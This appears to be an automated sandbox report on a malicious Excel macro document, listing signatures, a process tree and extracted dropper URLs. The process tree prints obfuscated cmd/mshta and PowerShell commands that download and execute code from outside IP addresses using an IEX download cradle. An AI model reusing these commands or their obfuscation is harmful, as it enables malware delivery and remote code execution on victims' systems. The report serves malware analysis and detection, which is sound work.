Analysis
- max time kernel
14s - max time network
17s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
21/01/2022, 00:43
General
- Target 0099ca4f04e55ea6cf57200813bed463.xls
- Size 70KB
- Sample220121-a2xvnacefq
- SHA256 8bf7d7d4defb13d445be8e02c114fbe19561d60aefe633018efe1627b4cf3d24
Malware Config
Extracted
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hta
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hta.dropper
http://0xb907d607/fer/fe2.html
Extracted
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ps1
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ps1.dropper
http://185.7.214.7/fer/fe2.png
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0099ca4f04e55ea6cf57200813bed463.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3384 -s 17204⤵
- Program crash
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 2bdb3d18c7574b033f8139e30d6deb88 Am+G7dk4eUqe5Rv6OOIIWQ.0.1.0.0.01⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 404 -p 3384 -ip 33841⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1240-133-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp
memory/1240-134-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp
memory/1240-135-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp
memory/1240-136-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp
memory/1240-137-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp
memory/1240-140-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp
memory/1240-141-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp